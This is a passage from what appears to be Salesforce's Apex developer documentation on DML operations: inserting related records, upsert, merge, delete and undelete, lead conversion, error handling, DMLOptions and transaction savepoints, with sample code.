System.assertEquals('New York', afterUpdate.BillingCity);
Inserting Related Records
You can insert records related to existing records if a relationship has already been defined between the two objects, such as a lookup
or master-detail relationship. A record is associated with a related record through a foreign key ID. You can only set this foreign key ID
on the master record. For example, if inserting a new contact, you can specify the contact's related account record by setting the value
of the AccountId field.
This example shows how to add a contact to an account (the related record) by setting the AccountId field on the contact. Contact
and Account are linked through a lookup relationship.
try {
Account acct = new Account(Name='SFDC Account');
insert acct;
//
//
//
ID
Once the account is inserted, the sObject will be
populated with an ID.
Get this ID.
acctID = acct.ID;
// Add a contact to this account.
Contact con = new Contact(
FirstName='Joe',
LastName='Smith',
Phone='415.555.1212',
AccountId=acctID);
insert con;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
Updating Related Records
Fields on related records can't be updated with the same call to the DML operation and require a separate DML call. For example, if
inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId field. However,
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you can't change the account's name without updating the account itself with a separate DML call. Similarly, when updating a contact,
if you also want to update the contact’s related account, you must make two DML calls. The following example updates a contact and
its related account using two update statements.
try {
// Query for the contact, which has been associated with an account.
Contact queriedContact = [SELECT Account.Name
FROM Contact
WHERE FirstName = 'Joe' AND LastName='Smith'
LIMIT 1];
// Update the contact's phone number
queriedContact.Phone = '415.555.1213';
// Update the related account industry
queriedContact.Account.Industry = 'Technology';
// Make two separate calls
// 1. This call is to update the contact's phone.
update queriedContact;
// 2. This call is to update the related account's Industry field.
update queriedContact.Account;
} catch(Exception e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
IN THIS SECTION:
Relating Records by Using an External ID
Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an
alternative to using the record ID. You can add a related record to another record only if a relationship has been defined for the
objects involved, such as a master-detail or lookup relationship.
Creating Parent and Child Records in a Single Statement Using Foreign Keys
Relating Records by Using an External ID
Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an
alternative to using the record ID. You can add a related record to another record only if a relationship has been defined for the objects
involved, such as a master-detail or lookup relationship.
To relate a record to its parent record with an external ID, the parent object must have a custom field marked as External ID. Create the
parent sObject with an external ID value, and then set this record as a nested sObject on the record you want to link.
This example shows how to relate a new opportunity to an existing account. The account has an external ID field, named MyExtID,
of type text. Before the new opportunity is inserted, the Account record is added to this opportunity as a nested sObject through the
Opportunity.Account relationship field. The Account sObject contains only the external ID field.
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=Date.today().addDays(7));
// Create the parent record reference.
// An account with this external ID value already exists.
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// This sObject is used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');
// Add the nested account sObject to the opportunity.
newOpportunity.Account = accountReference;
// Create the opportunity.
Database.SaveResult results = Database.insert(newOpportunity);
The previous sample performs an insert operation, but you can also relate sObjects through external ID fields when performing updates
or upserts. If the parent record doesn’t exist, you can create it with a separate DML statement or by using the same DML statement as
shown in Creating Parent and Child Records in a Single Statement Using Foreign Keys.
Creating Parent and Child Records in a Single Statement Using Foreign Keys
You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step instead of
creating the parent record first, querying its ID, and then creating the child record. To do this:
• Create the child sObject and populate its required fields, and optionally other fields.
• Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject has only
the external ID field defined and no other fields set.
• Set the foreign key field of the child sObject to the parent reference sObject you just created.
• Create another parent sObject to be passed to the insert statement. This sObject must have the required fields (and optionally
other fields) set in addition to the external ID field.
• Call insert by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array, that is,
the array index of the parent must be lower than the child’s index.
You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different sObject
types. For more information, see Creating Records for Different Object Types in the SOAP API Developer's Guide.
The following example shows how to create an opportunity with a parent account using the same insert statement. The example
creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account is only for the foreign
key relationship, and the second is for the account creation and has the account fields set. Both accounts have the external ID field,
MyExtID__c, set. Next, the sample calls Database.insert by passing it an array of sObjects. The first element in the array is
the parent sObject and the second is the opportunity sObject. The Database.insert statement creates the opportunity with its
parent account in a single step. Finally, the sample checks the results and writes the IDs of the created records to the debug log, or the
first error if record creation fails. This sample requires an external ID text field on Account called MyExtID.
public class ParentChildSample {
public static void InsertParentChild() {
Date dt = Date.today();
dt = dt.addDays(7);
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=dt);
// Create the parent reference.
// Used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
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MyExtID__c='SAP111111');
newOpportunity.Account = accountReference;
// Create the Account object to insert.
// Same as above but has Name field.
// Used for the insert.
Account parentAccount = new Account(
Name='Hallie',
MyExtID__c='SAP111111');
// Create the account and the opportunity.
Database.SaveResult[] results = Database.insert(new SObject[] {
parentAccount, newOpportunity });
// Check results.
for (Integer i = 0; i < results.size(); i++) {
if (results[i].isSuccess()) {
System.debug('Successfully created ID: '
+ results[i].getId());
} else {
System.debug('Error: could not create sobject '
+ 'for array element ' + i + '.');
System.debug('
The error reported was: '
+ results[i].getErrors()[0].getMessage() + '\n');
}
}
}
}
Upserting Records
Using the upsert operation, you can either insert or update an existing record in one call. To determine whether a record already
exists, the upsert statement or Database method uses the record’s ID as the key to match records, a custom external ID field, or a
standard field with the idLookup attribute set to true.
• If the key is not matched, then a new object record is created.
• If the key is matched once, then the existing object record is updated.
• If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated.
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate
values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.”
For more information, see Create Custom Fields.
Examples
The following example updates the city name for all existing accounts located in the city formerly known as Bombay, and also inserts a
new account located in San Francisco:
Account[] acctsList = [SELECT Id, Name, BillingCity
FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
a.BillingCity = 'Mumbai';
}
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Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');
acctsList.add(newAcct);
try {
upsert acctsList;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 139.
This next example uses the Database.upsert method to upsert a collection of leads that are passed in. This example allows for
partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated. It iterates
through the results and adds a new task to each record that was processed successfully. The task sObjects are saved in a list, which is
then bulk inserted. This example is followed by a test class that contains a test method for testing the example.
/* This class demonstrates and tests the use of the
* partial processing DML operations */
public class DmlSamples {
/* This method accepts a collection of lead records and
creates a task for the owner(s) of any leads that were
created as new, that is, not updated as a result of the upsert
operation */
public static List<Database.upsertResult> upsertLeads(List<Lead> leads)
{
/* Perform the upsert. In this case the unique identifier for the
insert or update decision is the Salesforce record ID. If the
record ID is null the row will be inserted, otherwise an update
will be attempted. */
List<Database.upsertResult> uResults = Database.upsert(leads,false);
/* This is the list for new tasks that will be inserted when new
leads are created. */
List<Task> tasks = new List<Task>();
for(Database.upsertResult result:uResults) {
if (result.isSuccess() && result.isCreated())
tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
}
/* If there are tasks to be inserted, insert them */
Database.insert(tasks);
return uResults;
}
}
@isTest
private class DmlSamplesTest {
public static testMethod void testUpsertLeads() {
/* We only need to test the insert side of upsert */
List<Lead> leads = new List<Lead>();
/* Create a set of leads for testing */
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for(Integer i = 0;i < 100; i++) {
leads.add(new Lead(LastName = 'testLead', Company = 'testCompany'));
}
/* Switch to the runtime limit context */
Test.startTest();
/* Exercise the method */
List<Database.upsertResult> results = DmlSamples.upsertLeads(leads);
/* Switch back to the test context for limits */
Test.stopTest();
/* ID set for asserting the tasks were created as expected */
Set<Id> ids = new Set<Id>();
/* Iterate over the results, asserting success and adding the new ID
to the set for use in the comprehensive assertion phase below. */
for(Database.upsertResult result:results) {
System.assert(result.isSuccess());
ids.add(result.getId());
}
/* Assert that exactly one task exists for each lead that was inserted. */
for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
System.assertEquals(1,l.tasks.size());
}
}
}
Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor
limits (see Execution Governors and Limits). This next example uses upsert and an external ID field Line_Item_Id__c on the
Asset object to maintain a one-to-one relationship between an asset and an opportunity line item.
Note: Before running this sample, create a custom text field on the Asset object named Line_Item_Id__c and mark it as
an external ID. For information on custom fields, see the Salesforce online help.
public void upsertExample() {
Opportunity opp = [SELECT Id, Name, AccountId,
(SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name
FROM OpportunityLineItems)
FROM Opportunity
WHERE HasOpportunityLineItem = true
LIMIT 1];
Asset[] assets = new Asset[]{};
// Create an asset for each line item on the opportunity
for (OpportunityLineItem lineItem:opp.OpportunityLineItems) {
//This code populates the line item Id, AccountId, and Product2Id for each asset
Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
Line_Item_ID__c = lineItem.Id,
AccountId = opp.AccountId,
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Product2Id = lineItem.PricebookEntry.Product2Id);
assets.add(asset);
}
try {
upsert assets Line_Item_ID__c;
//
//
//
//
This line upserts the assets list with
the Line_Item_Id__c field specified as the
Asset field that should be used for matching
the record that should be upserted.
} catch (DmlException e) {
System.debug(e.getMessage());
}
}
Merging Records
When you have duplicate lead, contact, or account records in the database, cleaning up your data and consolidating the records might
be a good idea. You can merge up to three records of the same sObject type. The merge operation merges up to three records into
one of the records, deletes the others, and reparents any related records.
Example
The following shows how to merge an existing Account record into a master account. The account to merge has a related contact, which
is moved to the master account record after the merge operation. Also, after merging, the merge record is deleted and only one record
remains in the database. This examples starts by creating a list of two accounts and inserts the list. Then it executes queries to get the
new account records from the database, and adds a contact to the account to be merged. Next, it merges the two accounts. Finally, it
verifies that the contact has been moved to the master account and the second account has been deleted.
// Insert new accounts
List<Account> ls = new List<Account>{
new Account(name='Acme Inc.'),
new Account(name='Acme')
};
insert ls;
// Queries to get the inserted accounts
Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// Add a contact to the account to be merged
Contact c = new Contact(FirstName='Joe',LastName='Merged');
c.AccountId = mergeAcct.Id;
insert c;
try {
merge masterAcct mergeAcct;
} catch (DmlException e) {
// Process exception
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Once the account is merged with the master account,
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// the related contact should be moved to the master record.
masterAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts)
FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
System.assert(masterAcct.getSObjects('Contacts').size() > 0);
System.assertEquals('Joe', masterAcct.getSObjects('Contacts')[0].get('FirstName'));
System.assertEquals('Merged', masterAcct.getSObjects('Contacts')[0].get('LastName'));
// Verify that the merge record got deleted
Account[] result = [SELECT Id, Name FROM Account WHERE Id=:mergeAcct.Id];
System.assertEquals(0, result.size());
This second example is similar to the previous except that it uses the Database.merge method (instead of the merge statement).
The last argument of Database.merge is set to false to have any errors encountered in this operation returned in the merge
result instead of getting exceptions. The example merges two accounts into the master account and retrieves the returned results. The
example creates a master account and two duplicates, one of which has a child contact. It verifies that after the merge the contact is
moved to the master account.
// Create master account
Account master = new Account(Name='Account1');
insert master;
// Create duplicate accounts
Account[] duplicates = new Account[]{
// Duplicate account
new Account(Name='Account1, Inc.'),
// Second duplicate account
new Account(Name='Account 1')
};
insert duplicates;
// Create child contact and associate it with first account
Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id);
insert c;
// Get the account contact relation ID, which is created when a contact is created on
"Account1, Inc."
AccountContactRelation resultAcrel = [SELECT Id FROM AccountContactRelation WHERE
ContactId=:c.Id LIMIT 1];
// Merge accounts into master
Database.MergeResult[] results = Database.merge(master, duplicates, false);
for(Database.MergeResult res : results) {
if (res.isSuccess()) {
// Get the master ID from the result and validate it
System.debug('Master record ID: ' + res.getId());
System.assertEquals(master.Id, res.getId());
// Get the IDs of the merged records and display them
List<Id> mergedIds = res.getMergedRecordIds();
System.debug('IDs of merged records: ' + mergedIds);
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// Get the ID of the reparented record and
// validate that this the contact ID.
System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds());
// Make sure there are two IDs (contact ID and account contact relation ID); the order
isn't defined
System.assertEquals(2, res.getUpdatedRelatedIds().size() );
boolean flag1 = false;
boolean flag2 = false;
// Because the order of the IDs isn't defined, the ID can be at index 0 or 1 of the
array
if (resultAcrel.id == res.getUpdatedRelatedIds()[0] || resultAcrel.id ==
res.getUpdatedRelatedIds()[1] )
flag1 = true;
if (c.id == res.getUpdatedRelatedIds()[0] || c.id == res.getUpdatedRelatedIds()[1]
)
flag2 = true;
System.assertEquals(flag1, true);
System.assertEquals(flag2, true);
}
else {
for(Database.Error err : res.getErrors()) {
// Write each error to the debug output
System.debug(err.getMessage());
}
}
}
Merge Considerations
When merging sObject records, consider the following rules and guidelines:
• Only leads, contacts, and accounts can be merged. See sObjects That Don’t Support DML Operations on page 138.
• You can pass a master record and up to two additional sObject records to a single merge method.
• Using the Apex merge operation, field values on the master record always supersede the corresponding field values on the records
to be merged. To preserve a merged record field value, simply set this field value on the master sObject before performing the merge.
• External ID fields can’t be used with merge.
For more information on merging leads, contacts and accounts, see the Salesforce online help.
Deleting Records
After you persist records in the database, you can delete those records using the delete operation. Deleted records aren’t deleted
permanently from Force.com, but they are placed in the Recycle Bin for 15 days from where they can be restored. Restoring deleted
records is covered in a later section.
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Example
The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'DotCom'];
try {
delete doomedAccts;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 139.
Referential Integrity When Deleting and Restoring Records
The delete operation supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as
each child record can be deleted.
For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution records associated
with that case. However, if a particular child record is not deletable or is currently being used, then the delete operation on the parent
case record fails.
The undelete operation restores the record associations for the following types of relationships:
• Parent accounts (as specified in the Parent Account field on an account)
• Indirect account-contact relationships (as specified on the Related Accounts related list on a contact or the Related Contacts related
list on an account)
• Parent cases (as specified in the Parent Case field on a case)
• Master solutions for translated solutions (as specified in the Master Solution field on a solution)
• Managers of contacts (as specified in the Reports To field on a contact)
• Products related to assets (as specified in the Product field on an asset)
• Opportunities related to quotes (as specified in the Opportunity field on a quote)
• All custom lookup relationships
• Relationship group members on accounts and relationship groups, with some exceptions
• Tags
• An article's categories, publication state, and assignments
Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different
product prior to the original product record being undeleted, that asset-product relationship is not restored.
Restoring Deleted Records
After you have deleted records, the records are placed in the Recycle Bin for 15 days, after which they are permanently deleted. While
the records are still in the Recycle Bin, you can restore them using the undelete operation. If you accidentally deleted some records
that you want to keep, restore them from the Recycle Bin.
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Example
The following example undeletes an account named 'Universal Containers'. The ALL ROWS keyword queries all rows for both top
level and aggregate relationships, including deleted records and archived activities.
Account a = new Account(Name='Universal Containers');
insert(a);
insert(new Contact(LastName='Carter',AccountId=a.Id));
delete a;
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Universal Containers'
ALL ROWS];
try {
undelete savedAccts;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 139.
Undelete Considerations
Note the following when using the undelete statement.
• You can undelete records that were deleted as the result of a merge. However, the merge reparents the child objects, and that
reparenting can’t be undone.
• To identify deleted records, including records deleted as a result of a merge, use the ALL ROWS parameters with a SOQL query.
• See Referential Integrity When Deleting and Restoring Records.
SEE ALSO:
Querying All Records with a SOQL Statement
Converting Leads
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. convertLead
is available only as a method on the Database class; it is not available as a DML statement.
Converting leads involves the following basic steps:
1. Your application determines the IDs of any lead(s) to be converted.
2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to
search for accounts that match the lead name, as in the following example:
SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'
3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use
SOQL to search for contacts that match the lead contact name, as in the following example:
SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND
AccountId = '001...'
4. Optionally, the application determines whether opportunities should be created from the leads.
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5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM
LeadStatus WHERE IsConverted='1'), and then selects a value for the converted status.
6. The application calls convertLead.
7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether
conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts cannot
be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.
Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object and sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies
that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;
Database.LeadConvert lc = new database.LeadConvert();
lc.setLeadId(myLead.id);
LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true
LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);
Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());
Convert Leads Considerations
• Field mappings: The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom
lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity fields. For more
information about field mappings, see the Salesforce online help.
• Merged fields: If data is merged into existing account and contact objects, only empty fields in the target object are
overwritten—existing data (including IDs) are not overwritten. The only exception is if you specify setOverwriteLeadSource
on the LeadConvert object to true, in which case the LeadSource field in the target contact object is overwritten with the
contents of the LeadSource field in the source LeadConvert object.
• Record types: If the organization uses record types, the default record type of the new owner is assigned to records created during
lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion.
If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more
information about record types, see the Salesforce online help.
• Picklist values: The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard
lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of
the new record owner.
• Automatic feed subscriptions: When you convert a lead into a new account, contact, and opportunity, the lead owner is unsubscribed
from the lead record’s Chatter feed. The lead owner, the owner of the generated records, and users that were subscribed to the lead
aren’t automatically subscribed to the generated records, unless they have automatic subscriptions enabled in their Chatter feed
settings. They must have automatic subscriptions enabled to see changes to the account, contact, and opportunity records in their
news feed. To subscribe to records they create, users must enable the Automatically follow records that I
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create option in their personal settings. A user can subscribe to a record so that changes to the record display in the news feed
on the user's home page. This is a useful way to stay up-to-date with changes to records in Salesforce.
Exception Handling
DML statements return run-time exceptions if something went wrong in the database during the execution of the DML operations. You
can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The following example includes the
insert DML statement inside a try-catch block.
Account a = new Account(Name='Acme');
try {
insert a;
} catch(DmlException e) {
// Process exception here
}
IN THIS SECTION:
Database Class Method Result Objects
Returned Database Errors
Database Class Method Result Objects
Database class methods return the results of the data operation. These result objects contain useful information about the data operation
for each record, such as whether the operation was successful or not, and any error information. Each type of operation returns a specific
result object type, as outlined below.
Operation
Result Class
insert, update
SaveResult Class
upsert
UpsertResult Class
merge
MergeResult Class
delete
DeleteResult Class
undelete
UndeleteResult Class
convertLead
LeadConvertResult Class
emptyRecycleBin
EmptyRecycleBinResult Class
Returned Database Errors
While DML statements always return exceptions when an operation fails for one of the records being processed and the operation is
rolled back for all records, Database class methods can either do so or allow partial success for record processing. In the latter case of
partial processing, Database class methods don’t throw exceptions. Instead, they return a list of errors for any errors that occurred on
failed records.
The errors provide details about the failures and are contained in the result of the Database class method. For example, a SaveResult
object is returned for insert and update operations. Like all returned results, SaveResult contains a method called getErrors
that returns a list of Database.Error objects, representing the errors encountered, if any.
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Example
This example shows how to get the errors returned by a Database.insert operation. It inserts two accounts, one of which doesn’t
have the required Name field, and sets the second parameter to false: Database.insert(accts, false);. This sets the
partial processing option. Next, the example checks if the call had any failures through if (!sr.isSuccess()) and then iterates
through the errors, writing error information to the debug log.
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (!sr.isSuccess()) {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Fields that affected this error: ' + err.getFields());
}
}
}
More About DML
Here are some things you may want to know about using Data Manipulation Language.
IN THIS SECTION:
Setting DML Options
Transaction Control
sObjects That Cannot Be Used Together in DML Operations
DML operations on certain sObjects, sometimes referred to as setup objects, can’t be mixed with DML on other sObjects in the same
transaction. This restriction exists because some sObjects affect the user’s access to records in the org. You must insert or update
these types of sObjects in a different transaction to prevent operations from happening with incorrect access-level permissions. For
example, you can’t update an account and a user role in a single transaction. However, deleting a DML operation has no restrictions.
sObjects That Don’t Support DML Operations
Bulk DML Exception Handling
Things You Should Know about Data in Apex
Setting DML Options
You can specify DML options for insert and update operations by setting the desired options in the Database.DMLOptions object.
You can set Database.DMLOptions for the operation by calling the setOptions method on the sObject, or by passing it as
a parameter to the Database.insert and Database.update methods.
Using DML options, you can specify:
• The truncation behavior of fields.
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• Assignment rule information.
• Duplicate rule information.
• Whether automatic emails are sent.
• The user locale for labels.
• Whether the operation allows for partial success.
The Database.DMLOptions class has the following properties:
• allowFieldTruncation Property
• assignmentRuleHeader Property
• dupicateRuleHeader
• emailHeader Property
• localeOptions Property
• optAllOrNone Property
DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record
operations performed using Apex DML and not through the Salesforce user interface.
allowFieldTruncation Property
The allowFieldTruncation property specifies the truncation behavior of strings. In Apex saved against API versions previous
to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is
specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you
to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.
The allowFieldTruncation property takes a Boolean value. If true, the property truncates String values that are too long,
which is the behavior in API versions 14.0 and earlier. For example:
Database.DMLOptions dml = new Database.DMLOptions();
dml.allowFieldTruncation = true;
assignmentRuleHeader Property
The assignmentRuleHeader property specifies the assignment rule to be used when creating a case or lead.
Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management.
Using the assignmentRuleHeader property, you can set these options:
• assignmentRuleID: The ID of an assignment rule for the case or lead. The assignment rule can be active or inactive. The ID
can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the value is not in
the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
• useDefaultRule: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do not
specify an assignmentRuleId.
The following example uses the useDefaultRule option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;
Lead l = new Lead(company='ABC', lastname='Smith');
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l.setOptions(dmo);
insert l;
The following example uses the assignmentRuleID option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
Note: If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with
useDefaultRule set to true results in the case or lead being assigned to the predefined default owner. In API version 30.0
and later, the case or lead is unassigned and doesn't get assigned to the default owner.
dupicateRuleHeader Property
The dupicateRuleHeader property determines whether a record that’s identified as a duplicate can be saved. Duplicate rules
are part of the Duplicate Management feature.
Using the dupicateRuleHeader property, you can set these options.
• allowSave: Indicates whether a record that’s identified as a duplicate can be saved.
The following example shows how to save an account record that’s been identified as a duplicate. To learn how to iterate through
duplicate errors, see DuplicateError Class
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.AllowSave = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}
emailHeader Property
The Salesforce user interface allows you to specify whether or not to send an email when the following events occur:
• Creation of a new case or task
• Conversion of a case email to a contact
• New user email notification
• Lead queue email notification
• Password reset
In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional
information regarding the email that gets sent when one of the events occurs because of Apex DML code execution.
Using the emailHeader property, you can set these options.
• triggerAutoResponseEmail: Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
This email can be automatically triggered by a number of events, for example when creating a case or resetting a user password. If
this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is
sent to that address. If not, the email is sent to the address specified in SuppliedEmail.
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• triggerOtherEmail: Indicates whether to trigger email outside the organization (true) or not (false). This email can be
automatically triggered by creating, editing, or deleting a contact for a case.
• triggerUserEmail: Indicates whether to trigger email that is sent to users in the organization (true) or not (false). This
email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a
task.
Note: Adding comments to a case in Apex doesn’t trigger email to users in the organization even if triggerUserEmail
is set to true.
Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader
take effect only for DML operations carried out in Apex code.
In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing');
insert a;
Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe',lastname='Plumber',
accountid=a.id);
insert c;
Database.DMLOptions dlo = new Database.DMLOptions();
dlo.EmailHeader.triggerAutoResponseEmail = true;
Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
database.insert(ca, dlo);
Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent
is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for
group event email sent through Apex:
• Sending a group event invitation to a user respects the triggerUserEmail option
• Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
• Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate
localeOptions Property
The localeOptions property specifies the language of any labels that are returned by Apex. The value must be a valid user locale
(language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO
language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another
ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is
'fr_CA.'
For a list of the languages that supports, see Supported Languages in the Salesforce online help.
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optAllOrNone Property
The optAllOrNone property specifies whether the operation allows for partial success. If optAllOrNone is set to true, all
changes are rolled back if any record causes errors. The default for this property is false and successfully processed records are
committed while records with errors aren't. This property is available in Apex saved against Salesforce API version 20.0 and later.
Transaction Control
All requests are delimited by the trigger, class method, Web Service, Visualforce page or anonymous block that executes the Apex code.
If the entire request completes successfully, all changes are committed to the database. For example, suppose a Visualforce page called
an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has finished running and the Visualforce
page has finished running, are the changes committed to the database. If the request does not complete successfully, all database
changes are rolled back.
Sometimes during the processing of records, your business rules require that partial work (already executed DML statements) be “rolled
back” so that the processing can continue in another direction. Apex gives you the ability to generate a savepoint, that is, a point in the
request that specifies the state of the database at that time. Any DML statement that occurs after the savepoint can be discarded, and
the database can be restored to the same condition it was in at the time you generated the savepoint.
The following limitations apply to generating savepoint variables and rolling back the database:
• If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint
variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then you rolled back
to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.
• References to savepoints cannot cross trigger invocations because each trigger invocation is a new trigger context. If you declare a
savepoint as a static variable then try to use it across trigger contexts, you will receive a run-time error.
• Each savepoint you set counts against the governor limit for DML statements.
• Static variables are not reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the
first run.
• Each rollback counts against the governor limit for DML statements. You will receive a runtime error if you try to rollback the database
additional times.
• The ID on an sObject inserted after setting a savepoint is not cleared after a rollback. Create an sObject to insert after a rollback.
Attempting to insert the sObject using the variable created before the rollback fails because the sObject variable has an ID. Updating
or upserting the sObject using the same variable also fails because the sObject is not in the database and, thus, cannot be updated.
The following is an example using the setSavepoint and rollback Database methods.
Account a = new Account(Name = 'xxx'); insert a;
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Create a savepoint while AccountNumber is null
Savepoint sp = Database.setSavepoint();
// Change the account number
a.AccountNumber = '123';
update a;
System.assertEquals('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Rollback to the previous null value
Database.rollback(sp);
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System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
sObjects That Cannot Be Used Together in DML Operations
DML operations on certain sObjects, sometimes referred to as setup objects, can’t be mixed with DML on other sObjects in the same
transaction. This restriction exists because some sObjects affect the user’s access to records in the org. You must insert or update these
types of sObjects in a different transaction to prevent operations from happening with incorrect access-level permissions. For example,
you can’t update an account and a user role in a single transaction. However, deleting a DML operation has no restrictions.
You can’t use the following sObjects with other sObjects when performing DML operations in the same transaction.
• FieldPermissions
• Group
You can only insert and update a group in a transaction with other sObjects. Other DML operations aren’t allowed.
• GroupMember
Note: With legacy Apex code saved using Salesforce API version 14.0 and earlier, you can insert and update a group member
with other sObjects in the same transaction.
